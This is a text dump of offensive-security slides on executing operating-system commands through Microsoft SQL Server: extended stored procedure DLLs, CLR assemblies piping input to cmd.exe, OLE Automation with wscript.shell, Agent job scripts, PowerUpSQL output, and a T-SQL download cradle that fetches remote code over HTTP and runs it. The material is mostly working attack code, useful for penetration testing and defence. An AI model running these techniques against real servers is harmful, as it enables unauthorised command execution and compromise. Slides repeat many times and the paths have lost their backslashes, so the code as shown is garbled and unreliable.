__declspec(dllexport) ULONG __GetXpVersion() {
return 1;
}
#define RUNCMD_FUNC extern "C" __declspec (dllexport)
RUNPS_FUNC int __stdcall RunPs(const char * Command) {
ShellExecute(NULL, TEXT("open"), TEXT("powershell"), TEXT(" -C " 'This is a test.'|out-file c:temptest_ps2.txt " "), TEXT(" C: "), SW_SHOW);
system("PowerShell -C "'This is a test.'|out-file c:temptest_ps1.txt"");
return 1;
}
Reference: http://stackoverflow.com/questions/12749210/how-to-create-a-simple-dll-for-a-custom-sql-server-extended-stored-procedure
BEYOND XP_CMDSHELL: OS COMMAND EXECUTION - XP
Reference: https://docs.microsoft.com/en-us/sql/relational-databases/extended-stored-procedures-programming/creating-extended-stored-procedures
41. 41 Confidential & Proprietary
41
Extended Stored Procedure – Code – C++
#include "stdio.h"
#include "stdafx.h"
#include "srv.h"
#include "shellapi.h"
#include "string"
BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) {
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return 1;
}
__declspec(dllexport) ULONG __GetXpVersion() {
return 1;
}
#define RUNCMD_FUNC extern "C" __declspec (dllexport)
RUNPS_FUNC int __stdcall RunPs(const char * Command) {
ShellExecute(NULL, TEXT("open"), TEXT("powershell"), TEXT(" -C " 'This is a test.'|out-file c:temptest_ps2.txt " "), TEXT(" C: "), SW_SHOW);
system("PowerShell -C "'This is a test.'|out-file c:temptest_ps1.txt"");
return 1;
}
BEYOND XP_CMDSHELL: OS COMMAND EXECUTION - XP
Reference: http://stackoverflow.com/questions/12749210/how-to-create-a-simple-dll-for-a-custom-sql-server-extended-stored-procedure
Reference: https://docs.microsoft.com/en-us/sql/relational-databases/extended-stored-procedures-programming/creating-extended-stored-procedures
42. 42 Confidential & Proprietary
42
Extended Stored Procedure – Code – C++
#include "stdio.h"
#include "stdafx.h"
#include "srv.h"
#include "shellapi.h"
#include "string"
BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) {
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return 1;
}
__declspec(dllexport) ULONG __GetXpVersion() {
return 1;
}
#define RUNCMD_FUNC extern "C" __declspec (dllexport)
RUNPS_FUNC int __stdcall RunPs(const char * Command) {
ShellExecute(NULL, TEXT("open"), TEXT("powershell"), TEXT(" -C " 'This is a test.'|out-file c:temptest_ps2.txt " "), TEXT(" C: "), SW_SHOW);
system("PowerShell -C "'This is a test.'|out-file c:temptest_ps1.txt"");
return 1;
}
BEYOND XP_CMDSHELL: OS COMMAND EXECUTION - XP
Reference: http://stackoverflow.com/questions/12749210/how-to-create-a-simple-dll-for-a-custom-sql-server-extended-stored-procedure
Reference: https://docs.microsoft.com/en-us/sql/relational-databases/extended-stored-procedures-programming/creating-extended-stored-procedures
43. 43 Confidential & Proprietary
43
Extended Stored Procedure – Code – C++
#include "stdio.h"
#include "stdafx.h"
#include "srv.h"
#include "shellapi.h"
#include "string"
BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) {
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return 1;
}
__declspec(dllexport) ULONG __GetXpVersion() {
return 1;
}
#define RUNCMD_FUNC extern "C" __declspec (dllexport)
RUNPS_FUNC int __stdcall RunPs(const char * Command) {
ShellExecute(NULL, TEXT("open"), TEXT("powershell"), TEXT(" -C " 'This is a test.'|out-file c:temptest_ps2.txt " "), TEXT(" C: "), SW_SHOW);
system("PowerShell -C "'This is a test.'|out-file c:temptest_ps1.txt"");
return 1;
}
BEYOND XP_CMDSHELL: OS COMMAND EXECUTION - XP
Reference: http://stackoverflow.com/questions/12749210/how-to-create-a-simple-dll-for-a-custom-sql-server-extended-stored-procedure
Reference: https://docs.microsoft.com/en-us/sql/relational-databases/extended-stored-procedures-programming/creating-extended-stored-procedures
44. 44 Confidential & Proprietary
BEYOND XP_CMDSHELL: OS COMMAND EXECUTION - XP
44
Extended Stored Procedure (XP) - Instructions
1. Compile the C++ DLL
2. Register the exported DLL functions in SQL Server using
“sp_addextendedproc“ (“DBCC ADDEXTENDEDPROC” wrapper)
45. 45 Confidential & Proprietary
45
Extended Stored Procedure – Code – TSQL
BEYOND XP_CMDSHELL: OS COMMAND EXECUTION - XP
-- Register xp via local disk
sp_addextendedproc ‘RunPs', ‘c:runps.dll’
-- Register xp via UNC path
sp_addextendedproc ‘RunPs', 'servernamepathtofilerunps.dll’
-- Register xp via webdav path
sp_addextendedproc ‘RunPs', 'servername@80pathtofilerunps.dll’
-- Register xp via webdav path and renamed with a .txt extension
sp_addextendedproc ‘RunPs', 'servername@80pathtofilerunps.txt’
-- Run xp
Exec RunPs
-- Remove xp
sp_dropextendedproc ‘RunPs’
46. 46 Confidential & Proprietary
46
Extended Stored Procedures – Automation – PowerUpSQL
BEYOND XP_CMDSHELL: OS COMMAND EXECUTION - XP
Action PowerUpSQL Function
Create DLL to Execute OS
Commands via XP
Create-SQLFileXpDll
List existing XP for all
databases
Get-SQLStoredProcedureXP
47. 47 Confidential & Proprietary
47
Extended Stored Procedure – Automation - PowerUpSQL
PS C:> Import-Module .PowerUpSQL.psd1
PS c:> Create-SQLFileXpDll -Verbose -OutFile c:mycmd.dll -Command "echo pure evil >
c:evil.txt" -ExportName xp_mycmd
VERBOSE: Found buffer offset for command: 32896
VERBOSE: Found buffer offset for function name: 50027
VERBOSE: Found buffer offset for buffer: 50035
VERBOSE: Creating DLL c:mycmd.dll
VERBOSE: - Exported function name: xp_mycmd
VERBOSE: - Exported function command: "echo pure evil > c:evil.txt"
VERBOSE: - Manual test: rundll32 c:mycmd.dll,xp_mycmd
VERBOSE: - DLL written
VERBOSE: SQL Server Notes
VERBOSE: The exported function can be registered as a SQL Server extended stored
procedure...
VERBOSE: - Register xp via local disk: sp_addextendedproc 'xp_mycmd', 'c:myxp.dll'
VERBOSE: - Register xp via UNC path: sp_addextendedproc 'xp_mycmd',
'servernamepathtofilemyxp.dll'
VERBOSE: - Unregister xp: sp_dropextendedproc 'xp_mycmd
BEYOND XP_CMDSHELL: OS COMMAND EXECUTION - XP
48. 48 Confidential & Proprietary
48
Extended Stored Procedure – Automation - PowerUpSQL
PS C:> Import-Module .PowerUpSQL.psd1
PS c:> Create-SQLFileXpDll -Verbose -OutFile c:mycmd.dll -Command "echo pure evil >
c:evil.txt" -ExportName xp_mycmd
VERBOSE: Found buffer offset for command: 32896
VERBOSE: Found buffer offset for function name: 50027
VERBOSE: Found buffer offset for buffer: 50035
VERBOSE: Creating DLL c:mycmd.dll
VERBOSE: - Exported function name: xp_mycmd
VERBOSE: - Exported function command: "echo pure evil > c:evil.txt"
VERBOSE: - Manual test: rundll32 c:mycmd.dll,xp_mycmd
VERBOSE: - DLL written
VERBOSE: SQL Server Notes
VERBOSE: The exported function can be registered as a SQL Server extended stored
procedure...
VERBOSE: - Register xp via local disk: sp_addextendedproc 'xp_mycmd', 'c:myxp.dll'
VERBOSE: - Register xp via UNC path: sp_addextendedproc 'xp_mycmd',
'servernamepathtofilemyxp.dll'
VERBOSE: - Unregister xp: sp_dropextendedproc 'xp_mycmd
BEYOND XP_CMDSHELL: OS COMMAND EXECUTION - XP
49. 49 Confidential & Proprietary
49
Extended Stored Procedure – Automation - PowerUpSQL
PS C:> Import-Module .PowerUpSQL.psd1
PS c:> Create-SQLFileXpDll -Verbose -OutFile c:mycmd.dll -Command "echo pure evil >
c:evil.txt" -ExportName xp_mycmd
VERBOSE: Found buffer offset for command: 32896
VERBOSE: Found buffer offset for function name: 50027
VERBOSE: Found buffer offset for buffer: 50035
VERBOSE: Creating DLL c:mycmd.dll
VERBOSE: - Exported function name: xp_mycmd
VERBOSE: - Exported function command: "echo pure evil > c:evil.txt"
VERBOSE: - Manual test: rundll32 c:mycmd.dll,xp_mycmd
VERBOSE: - DLL written
VERBOSE: SQL Server Notes
VERBOSE: The exported function can be registered as a SQL Server extended stored
procedure...
VERBOSE: - Register xp via local disk: sp_addextendedproc 'xp_mycmd', 'c:myxp.dll'
VERBOSE: - Register xp via UNC path: sp_addextendedproc 'xp_mycmd',
'servernamepathtofilemyxp.dll'
VERBOSE: - Unregister xp: sp_dropextendedproc 'xp_mycmd
BEYOND XP_CMDSHELL: OS COMMAND EXECUTION - XP
50. 51 Confidential & Proprietary
BEYOND XP_CMDSHELL: OS COMMAND EXECUTION
51
Common Language
Runtime (CLR)
Assemblies
51. 52 Confidential & Proprietary
BEYOND XP_CMDSHELL: OS COMMAND EXECUTION - CLR
52
CLR Assemblies- Overview
1. .net DLL method that maps to a SQL Server stored procedure
2. Affected Versions: SQL Server 2008 to 2017 (so far)
3. Requires sysadmin role by default
4. Non sysadmin privileges: CREATE ASSEMBLY, ALTER ASSEMBLY, or
DDL_ADMIN Role
5. Executes as the SQL Server service account
52. 53 Confidential & Proprietary
BEYOND XP_CMDSHELL: OS COMMAND EXECUTION - CRL
53
CLR Assemblies- Overview
Lots of great work by:
Lee Christensen (@tifkin_)
Nathan Kirk
http://sekirkity.com/command-execution-in-sql-server-via-fileless-clr-based-custom-stored-procedure/
53. 54 Confidential & Proprietary
BEYOND XP_CMDSHELL: OS COMMAND EXECUTION - CLR
54
CLR Assemblies - Instructions
1. Compile a .net assembly DLL
2. Server level setting: “clr enabled” set to 1
3. Server level setting: “clr strict security” set to 0 (2017)
4. Database level setting: “is_trustworthy” is set to “1”
- (or) use the default “msdb” database
5. Create Assembly from the file (or hexdecimal string)
- assembly is stored in SQL Server Table
6. Create Procedure that maps to CLR methods
7. Run your procedure
Reference: https://blog.netspi.com/attacking-sql-server-clr-assemblies/
Reference: https://github.com/sekirkity/SeeCLRly/blob/master/SeeCLRly.ps1
54. 55 Confidential & Proprietary
55
CLR Assemblies – Code Sample - .net DLL
using System;
using System.Data;
using System.Data.SqlClient;
using System.Data.SqlTypes;
using Microsoft.SqlServer.Server;
using System.IO;
using System.Diagnostics;
using System.Text;
public partial class StoredProcedures {
[Microsoft.SqlServer.Server.SqlProcedure] public static void cmd_exec (SqlString execCommand)
{
// Run command
Process proc = new Process();
proc.StartInfo.FileName = @"C:WindowsSystem32cmd.exe";
proc.StartInfo.Arguments = string.Format(@" /C {0}", execCommand.Value);
proc.StartInfo.UseShellExecute = false; proc.StartInfo.RedirectStandardOutput = true;
proc.Start();
// Return command resutls
SqlDataRecord record = new SqlDataRecord(new SqlMetaData("output", SqlDbType.NVarChar, 4000));
SqlContext.Pipe.SendResultsStart(record);
record.SetString(0, proc.StandardOutput.ReadToEnd().ToString());
SqlContext.Pipe.SendResultsRow(record);
SqlContext.Pipe.SendResultsEnd();
proc.WaitForExit();
proc.Close();
}
};
BEYOND XP_CMDSHELL: OS COMMAND EXECUTION - CLR
Reference: https://blog.netspi.com/attacking-sql-server-clr-assemblies/
Reference: https://github.com/sekirkity/SeeCLRly/blob/master/SeeCLRly.ps1
55. 56 Confidential & Proprietary
56
CLR Assemblies – Code Sample - .net DLL
using System;
using System.Data;
using System.Data.SqlClient;
using System.Data.SqlTypes;
using Microsoft.SqlServer.Server;
using System.IO;
using System.Diagnostics;
using System.Text;
public partial class StoredProcedures {
[Microsoft.SqlServer.Server.SqlProcedure] public static void cmd_exec (SqlString execCommand)
{
// Run command
Process proc = new Process();
proc.StartInfo.FileName = @"C:WindowsSystem32cmd.exe";
proc.StartInfo.Arguments = string.Format(@" /C {0}", execCommand.Value);
proc.StartInfo.UseShellExecute = false; proc.StartInfo.RedirectStandardOutput = true;
proc.Start();
// Return command results
SqlDataRecord record = new SqlDataRecord(new SqlMetaData("output", SqlDbType.NVarChar, 4000));
SqlContext.Pipe.SendResultsStart(record);
record.SetString(0, proc.StandardOutput.ReadToEnd().ToString());
SqlContext.Pipe.SendResultsRow(record);
SqlContext.Pipe.SendResultsEnd();
proc.WaitForExit();
proc.Close();
}
};
BEYOND XP_CMDSHELL: OS COMMAND EXECUTION - CLR
Reference: https://blog.netspi.com/attacking-sql-server-clr-assemblies/
Reference: https://github.com/sekirkity/SeeCLRly/blob/master/SeeCLRly.ps1
56. 57 Confidential & Proprietary
57
CLR Assemblies – Code Sample - .net DLL
using System;
using System.Data;
using System.Data.SqlClient;
using System.Data.SqlTypes;
using Microsoft.SqlServer.Server;
using System.IO;
using System.Diagnostics;
using System.Text;
public partial class StoredProcedures {
[Microsoft.SqlServer.Server.SqlProcedure] public static void cmd_exec (SqlString execCommand)
{
// Run command
Process proc = new Process();
proc.StartInfo.FileName = @"C:WindowsSystem32cmd.exe";
proc.StartInfo.Arguments = string.Format(@" /C {0}", execCommand.Value);
proc.StartInfo.UseShellExecute = false; proc.StartInfo.RedirectStandardOutput = true;
proc.Start();
// Return command results
SqlDataRecord record = new SqlDataRecord(new SqlMetaData("output", SqlDbType.NVarChar, 4000));
SqlContext.Pipe.SendResultsStart(record);
record.SetString(0, proc.StandardOutput.ReadToEnd().ToString());
SqlContext.Pipe.SendResultsRow(record);
SqlContext.Pipe.SendResultsEnd();
proc.WaitForExit();
proc.Close();
}
};
BEYOND XP_CMDSHELL: OS COMMAND EXECUTION - CLR
Reference: https://blog.netspi.com/attacking-sql-server-clr-assemblies/
Reference: https://github.com/sekirkity/SeeCLRly/blob/master/SeeCLRly.ps1
57. 58 Confidential & Proprietary
58
CLR Assemblies – Code Sample - .net DLL
using System;
using System.Data;
using System.Data.SqlClient;
using System.Data.SqlTypes;
using Microsoft.SqlServer.Server;
using System.IO;
using System.Diagnostics;
using System.Text;
public partial class StoredProcedures {
[Microsoft.SqlServer.Server.SqlProcedure] public static void cmd_exec (SqlString execCommand)
{
// Run command
Process proc = new Process();
proc.StartInfo.FileName = @"C:WindowsSystem32cmd.exe";
proc.StartInfo.Arguments = string.Format(@" /C {0}", execCommand.Value);
proc.StartInfo.UseShellExecute = false; proc.StartInfo.RedirectStandardOutput = true;
proc.Start();
// Return command results
SqlDataRecord record = new SqlDataRecord(new SqlMetaData("output", SqlDbType.NVarChar, 4000));
SqlContext.Pipe.SendResultsStart(record);
record.SetString(0, proc.StandardOutput.ReadToEnd().ToString());
SqlContext.Pipe.SendResultsRow(record);
SqlContext.Pipe.SendResultsEnd();
proc.WaitForExit();
proc.Close();
}
};
BEYOND XP_CMDSHELL: OS COMMAND EXECUTION - CLR
Reference: https://blog.netspi.com/attacking-sql-server-clr-assemblies/
Reference: https://github.com/sekirkity/SeeCLRly/blob/master/SeeCLRly.ps1
58. 59 Confidential & Proprietary
59
CLR Assemblies – Code Sample - .net DLL
using System;
using System.Data;
using System.Data.SqlClient;
using System.Data.SqlTypes;
using Microsoft.SqlServer.Server;
using System.IO;
using System.Diagnostics;
using System.Text;
public partial class StoredProcedures {
[Microsoft.SqlServer.Server.SqlProcedure] public static void cmd_exec (SqlString execCommand)
{
// Run command
Process proc = new Process();
proc.StartInfo.FileName = @"C:WindowsSystem32cmd.exe";
proc.StartInfo.Arguments = string.Format(@" /C {0}", execCommand.Value);
proc.StartInfo.UseShellExecute = false; proc.StartInfo.RedirectStandardOutput = true;
proc.Start();
// Return command results
SqlDataRecord record = new SqlDataRecord(new SqlMetaData("output", SqlDbType.NVarChar, 4000));
SqlContext.Pipe.SendResultsStart(record);
record.SetString(0, proc.StandardOutput.ReadToEnd().ToString());
SqlContext.Pipe.SendResultsRow(record);
SqlContext.Pipe.SendResultsEnd();
proc.WaitForExit();
proc.Close();
}
};
BEYOND XP_CMDSHELL: OS COMMAND EXECUTION - CLR
Reference: https://blog.netspi.com/attacking-sql-server-clr-assemblies/
Reference: https://github.com/sekirkity/SeeCLRly/blob/master/SeeCLRly.ps1
59. 60 Confidential & Proprietary
60
CLR Assemblies – Code Sample - TSQL
-- Select the msdb database
use msdb
-- Enable show advanced options on the server
sp_configure 'show advanced options’,1
RECONFIGURE
GO
-- Enable CLR on the server
sp_configure 'clr enabled’,1
RECONFIGURE
GO
-- Create the assembly from a file path
CREATE ASSEMBLY my_assembly FROM 'c:tempcmd_exec.dll' WITH PERMISSION_SET = UNSAFE;
-- Create a procedure that links to the CLR method
CREATE PROCEDURE [dbo].[cmd_exec] @execCommand NVARCHAR (4000) AS EXTERNAL NAME
[my_assembly].[StoredProcedures].[cmd_exec];
GO
-- Execute the procedure
Exec cmd_exec ‘whoami’
BEYOND XP_CMDSHELL: OS COMMAND EXECUTION - CLR
Reference: https://blog.netspi.com/attacking-sql-server-clr-assemblies/
Reference: https://github.com/sekirkity/SeeCLRly/blob/master/SeeCLRly.ps1
60. 61 Confidential & Proprietary
61
CLR Assemblies – Code Sample - TSQL
-- Select the msdb database
use msdb
-- Enable show advanced options on the server
sp_configure 'show advanced options’,1
RECONFIGURE
GO
-- Enable CLR on the server
sp_configure 'clr enabled’,1
RECONFIGURE
GO
-- Create the assembly from a file path
CREATE ASSEMBLY my_assembly FROM 'c:tempcmd_exec.dll' WITH PERMISSION_SET = UNSAFE;
-- Create a procedure that links to the CLR method
CREATE PROCEDURE [dbo].[cmd_exec] @execCommand NVARCHAR (4000) AS EXTERNAL NAME
[my_assembly].[StoredProcedures].[cmd_exec];
GO
-- Execute the procedure
Exec cmd_exec ‘whoami’
BEYOND XP_CMDSHELL: OS COMMAND EXECUTION - CLR
Reference: https://blog.netspi.com/attacking-sql-server-clr-assemblies/
Reference: https://github.com/sekirkity/SeeCLRly/blob/master/SeeCLRly.ps1
61. 62 Confidential & Proprietary
62
CLR Assemblies – Code Sample - TSQL
-- Select the msdb database
use msdb
-- Enable show advanced options on the server
sp_configure 'show advanced options’,1
RECONFIGURE
GO
-- Enable CLR on the server
sp_configure 'clr enabled’,1
RECONFIGURE
GO
-- Create the assembly from a file path
CREATE ASSEMBLY my_assembly FROM 'c:tempcmd_exec.dll' WITH PERMISSION_SET = UNSAFE;
-- Create a procedure that links to the CLR method
CREATE PROCEDURE [dbo].[cmd_exec] @execCommand NVARCHAR (4000) AS EXTERNAL NAME
[my_assembly].[StoredProcedures].[cmd_exec];
GO
-- Execute the procedure
Exec cmd_exec ‘whoami’
BEYOND XP_CMDSHELL: OS COMMAND EXECUTION - CLR
Reference: https://blog.netspi.com/attacking-sql-server-clr-assemblies/
Reference: https://github.com/sekirkity/SeeCLRly/blob/master/SeeCLRly.ps1
62. 63 Confidential & Proprietary
63
CLR Assemblies – Code Sample - TSQL
-- Select the msdb database
use msdb
-- Enable show advanced options on the server
sp_configure 'show advanced options’,1
RECONFIGURE
GO
-- Enable CLR on the server
sp_configure 'clr enabled’,1
RECONFIGURE
GO
-- Create the assembly from a file path
CREATE ASSEMBLY my_assembly FROM 'c:tempcmd_exec.dll' WITH PERMISSION_SET = UNSAFE;
-- Create a procedure that links to the CLR method
CREATE PROCEDURE [dbo].[cmd_exec] @execCommand NVARCHAR (4000) AS EXTERNAL NAME
[my_assembly].[StoredProcedures].[cmd_exec];
GO
-- Execute the procedure
Exec cmd_exec ‘whoami’
BEYOND XP_CMDSHELL: OS COMMAND EXECUTION - CLR
Reference: https://blog.netspi.com/attacking-sql-server-clr-assemblies/
Reference: https://github.com/sekirkity/SeeCLRly/blob/master/SeeCLRly.ps1
63. 64 Confidential & Proprietary
64
CLR Assemblies – Code Sample - TSQL
-- Select the msdb database
use msdb
-- Enable show advanced options on the server
sp_configure 'show advanced options’,1
RECONFIGURE
GO
-- Enable CLR on the server
sp_configure 'clr enabled’,1
RECONFIGURE
GO
-- Create the assembly from a file path
CREATE ASSEMBLY my_assembly FROM 'c:tempcmd_exec.dll' WITH PERMISSION_SET = UNSAFE;
-- Create a procedure that links to the CLR method
CREATE PROCEDURE [dbo].[cmd_exec] @execCommand NVARCHAR (4000) AS EXTERNAL NAME
[my_assembly].[StoredProcedures].[cmd_exec];
GO
-- Execute the procedure
Exec cmd_exec ‘whoami’
BEYOND XP_CMDSHELL: OS COMMAND EXECUTION - CLR
Reference: https://blog.netspi.com/attacking-sql-server-clr-assemblies/
Reference: https://github.com/sekirkity/SeeCLRly/blob/master/SeeCLRly.ps1
64. 66 Confidential & Proprietary
66
CLR Assemblies – Code – TSQL – Select Assemblies
USE msdb;
SELECT SCHEMA_NAME(so.[schema_id]) AS [schema_name],
af.file_id,
af.name + '.dll' as [file_name],
asmbly.clr_name,
asmbly.assembly_id,
asmbly.name AS [assembly_name],
am.assembly_class,
am.assembly_method,
so.object_id as [sp_object_id],
so.name AS [sp_name],
so.[type] as [sp_type],
asmbly.permission_set_desc,
asmbly.create_date,
asmbly.modify_date,
af.content
FROM sys.assembly_modules am
INNER JOIN sys.assemblies asmbly
ON asmbly.assembly_id = am.assembly_id
INNER JOIN sys.assembly_files af
ON asmbly.assembly_id = af.assembly_id
INNER JOIN sys.objects so
ON so.[object_id] = am.[object_id]
BEYOND XP_CMDSHELL: OS COMMAND EXECUTION - CLR
Reference: https://blog.netspi.com/attacking-sql-server-clr-assemblies/
70. 73 Confidential & Proprietary
BEYOND XP_CMDSHELL: OS COMMAND EXECUTION
73
Ole Automation
Procedures
71. 74 Confidential & Proprietary
BEYOND XP_CMDSHELL: OS COMMAND EXECUTION - OLE
74
Ole Automation Procedures - Overview
1. SQL Server native scripting that allows calls to COM objects
2. Affected Versions: SQL Server 2000 to 2017 (so far)
3. Requires sysadmin role by default
4. Can be executed by non-sysadmin with:
GRANT EXECUTE ON OBJECT::[dbo].[sp_OACreate] to [public]
GRANT EXECUTE ON OBJECT::[dbo].[sp_OAMethod] to [public]
5. Executes as the SQL Server service account
Reference: https://malwaremusings.com/2013/04/10/a-look-at-some-ms-sql-attacks-overview/
72. 75 Confidential & Proprietary
BEYOND XP_CMDSHELL: OS COMMAND EXECUTION - OLE
75
Ole Automation Procedures - Instructions
1. Server level setting: “'Ole Automation Procedures” set to 1
2. Run your code
Reference: https://malwaremusings.com/2013/04/10/a-look-at-some-ms-sql-attacks-overview/
73. 76 Confidential & Proprietary
BEYOND XP_CMDSHELL: OS COMMAND EXECUTION
76
Ole Automation Procedures – Code - TSQL
-- Enable Show Advanced Options
sp_configure 'Show Advanced Options',1
RECONFIGURE
GO
-- Enable OLE Automation Procedures
sp_configure 'Ole Automation Procedures',1
RECONFIGURE
GO
-- Execute Command via OLE and store output in temp file
DECLARE @Shell INT
DECLARE @Shell2 INT
EXEC Sp_oacreate 'wscript.shell', @Shell Output, 5
EXEC Sp_oamethod @shell, 'run' , null, 'cmd.exe /c "echo Hello World > c:tempfile.txt"'
-- Read results
DECLARE @libref INT
DECLARE @filehandle INT
DECLARE @FileContents varchar(8000)
EXEC sp_oacreate 'scripting.filesystemobject', @libref out
EXEC sp_oamethod @libref, 'opentextfile', @filehandle out, 'c:tempfile.txt', 1
EXEC sp_oamethod @filehandle, 'readall', @FileContents out
SELECT @FileContents
GO
-- Remove temp result file
DECLARE @Shell INT
EXEC Sp_oacreate 'wscript.shell', @Shell Output, 5
EXEC Sp_oamethod @Shell, 'run' , null, 'cmd.exe /c "DEL c:tempfile.txt"'
GO
-- Disable Show Advanced Options
sp_configure 'Show Advanced Options',1
RECONFIGURE
GO
-- Disable OLE Automation Procedures
sp_configure 'Ole Automation Procedures',1
RECONFIGURE
GO
74. 77 Confidential & Proprietary
BEYOND XP_CMDSHELL: OS COMMAND EXECUTION - OLE
77
Ole Automation Procedures – Code - TSQL
-- Execute Command via OLE and store output in temp file
DECLARE @Shell INT
DECLARE @Shell2 INT
EXEC Sp_oacreate 'wscript.shell', @Shell Output, 5
EXEC Sp_oamethod @shell, 'run' , null, 'cmd.exe /c "echo Hello World > c:tempfile.txt"'
-- Read results
DECLARE @libref INT
DECLARE @filehandle INT
DECLARE @FileContents varchar(8000)
EXEC sp_oacreate 'scripting.filesystemobject', @libref out
EXEC sp_oamethod @libref, 'opentextfile', @filehandle out, 'c:tempfile.txt', 1
EXEC sp_oamethod @filehandle, 'readall', @FileContents out
SELECT @FileContents
GO
Reference: https://malwaremusings.com/2013/04/10/a-look-at-some-ms-sql-attacks-overview/
75. 78 Confidential & Proprietary
BEYOND XP_CMDSHELL: OS COMMAND EXECUTION - OLE
78
Ole Automation Procedures – Code - TSQL
-- Execute Command via OLE and store output in temp file
DECLARE @Shell INT
DECLARE @Shell2 INT
EXEC Sp_oacreate 'wscript.shell', @Shell Output, 5
EXEC Sp_oamethod @shell, 'run' , null, 'cmd.exe /c "echo Hello World > c:tempfile.txt"'
-- Read results
DECLARE @libref INT
DECLARE @filehandle INT
DECLARE @FileContents varchar(8000)
EXEC sp_oacreate 'scripting.filesystemobject', @libref out
EXEC sp_oamethod @libref, 'opentextfile', @filehandle out, 'c:tempfile.txt', 1
EXEC sp_oamethod @filehandle, 'readall', @FileContents out
SELECT @FileContents
GO
Reference: https://malwaremusings.com/2013/04/10/a-look-at-some-ms-sql-attacks-overview/
76. 79 Confidential & Proprietary
BEYOND XP_CMDSHELL: OS COMMAND EXECUTION - OLE
79
Ole Automation Procedures – Code - TSQL
-- Execute Command via OLE and store output in temp file
DECLARE @Shell INT
DECLARE @Shell2 INT
EXEC Sp_oacreate 'wscript.shell', @Shell Output, 5
EXEC Sp_oamethod @shell, 'run' , null, 'cmd.exe /c "echo Hello World > c:tempfile.txt"'
-- Read results
DECLARE @libref INT
DECLARE @filehandle INT
DECLARE @FileContents varchar(8000)
EXEC sp_oacreate 'scripting.filesystemobject', @libref out
EXEC sp_oamethod @libref, 'opentextfile', @filehandle out, 'c:tempfile.txt', 1
EXEC sp_oamethod @filehandle, 'readall', @FileContents out
SELECT @FileContents
GO
Reference: https://malwaremusings.com/2013/04/10/a-look-at-some-ms-sql-attacks-overview/
77. 80 Confidential & Proprietary
BEYOND XP_CMDSHELL: OS COMMAND EXECUTION - OLE
80
Ole Automation Procedures – Automation – PowerUpSQL
Action PowerUpSQL Function
Execute OS Command via
OLE Automation Procedure
Invoke-SQLOSCmdOle
79. 82 Confidential & Proprietary
BEYOND XP_CMDSHELL: BONUS SLIDE – TSQL DOWNLOAD CRADLE
82
-- OLE Automation Procedure Download Cradle Example
-- Setup Variables
DECLARE @url varchar(300)
DECLARE @WinHTTP int
DECLARE @handle int
DECLARE @Command varchar(8000)
-- Set target url containting TSQL
SET @url = 'http://127.0.0.1/mycmd.txt'
-- Setup namespace
EXEC @handle=sp_OACreate 'WinHttp.WinHttpRequest.5.1',@WinHTTP OUT
-- Call the Open method to setup the HTTP request
EXEC @handle=sp_OAMethod @WinHTTP, 'Open',NULL,'GET',@url,'false'
-- Call the Send method to send the HTTP GET request
EXEC @handle=sp_OAMethod @WinHTTP,'Send'
-- Capture the HTTP response content
EXEC @handle=sp_OAGetProperty @WinHTTP,'ResponseText', @Command out
-- Destroy the object
EXEC @handle=sp_OADestroy @WinHTTP
-- Display command
SELECT @Command
-- Run command
execute(@Command)
80. 84 Confidential & Proprietary
BEYOND XP_CMDSHELL: OS COMMAND EXECUTION
84
Agent Jobs
81. 85 Confidential & Proprietary
BEYOND XP_CMDSHELL: OS COMMAND EXECUTION – AGENT JOB
85
Agent Jobs - Overview
1. Native task scheduling engine
2. Affected Versions: All
3. Requires sysadmin role by default
4. Non sysadmin roles: SQLAgentUserRole, SQLAgentReaderRole,
SQLAgentOperatorRole (require proxy account)
5. Executes as the SQL Server Agent service account unless a
a proxy account is configured
82. 86 Confidential & Proprietary
BEYOND XP_CMDSHELL: OS COMMAND EXECUTION – AGENT JOB
86
Agent Jobs – Overview - Most Common Job Types
1. TSQL
2. SQL Server Integrated Services (SSIS) Package
3. CMDEXEC
4. PowerShell
5. ActiveScripting (VBScript & JSCRIPT)
83. 88 Confidential & Proprietary
BEYOND XP_CMDSHELL: OS COMMAND EXECUTION – AGENT JOB
88
Agent Jobs - Instructions
1. Make sure the SQL Server Agent service is running! (xp_startservice)
2. Create Job
3. Create Job Step
4. Configure to self delete
5. Run Job
Note: For non sysadmins a proxy account must be configured. As a sysadmin:
Create a credential
Create a proxy account that allows all the subsystem execution needed
Grant use of proxy to security principals (logins and roles)
87. 92 Confidential & Proprietary
BEYOND XP_CMDSHELL: OS COMMAND EXECUTION – AGENT JOB
92
Agent Jobs – Code – TSQL – VBSCRIPT
use msdb
DECLARE @jobId BINARY(16)
EXECmsdb.dbo.sp_add_job @job_name=N'OS COMMAND EXECUTION EXAMPLE - ActiveX: VBSCRIPT',
@enabled=1,
@notify_level_eventlog=0,
@notify_level_email=0,
@notify_level_netsend=0,
@notify_level_page=0,
@delete_level=1,
@description=N'No description available.',
@category_name=N'[Uncategorized (Local)]',
@owner_login_name=N'sa', @job_id = @jobId OUTPUT
EXEC msdb.dbo.sp_add_jobstep @job_id=@jobId, @step_name=N'RUN COMMAND - ActiveX: VBSCRIPT',
@step_id=1,
@cmdexec_success_code=0,
@on_success_action=1,
@on_success_step_id=0,
@on_fail_action=2,
@on_fail_step_id=0,
@retry_attempts=0,
@retry_interval=0,
@os_run_priority=0, @subsystem=N'ActiveScripting',
@command=N'FUNCTION Main()
dim shell
set shell= CreateObject ("WScript.Shell")
shell.run("c:windowssystem32cmd.exe /c echo hello > c:windowstempblah.txt")
set shell = nothing
END FUNCTION',
@database_name=N'VBScript',
@flags=0
use msdb
EXEC dbo.sp_start_job N'OS COMMAND EXECUTION EXAMPLE - ActiveX: VBSCRIPT' ;
@command=N'FUNCTION Main()
dim shell
set shell= CreateObject ("WScript.Shell")
shell.run("c:windowssystem32cmd.exe /c echo hello
> c:windowstempblah.txt")
set shell = nothing
END FUNCTION’,
88. 93 Confidential & Proprietary
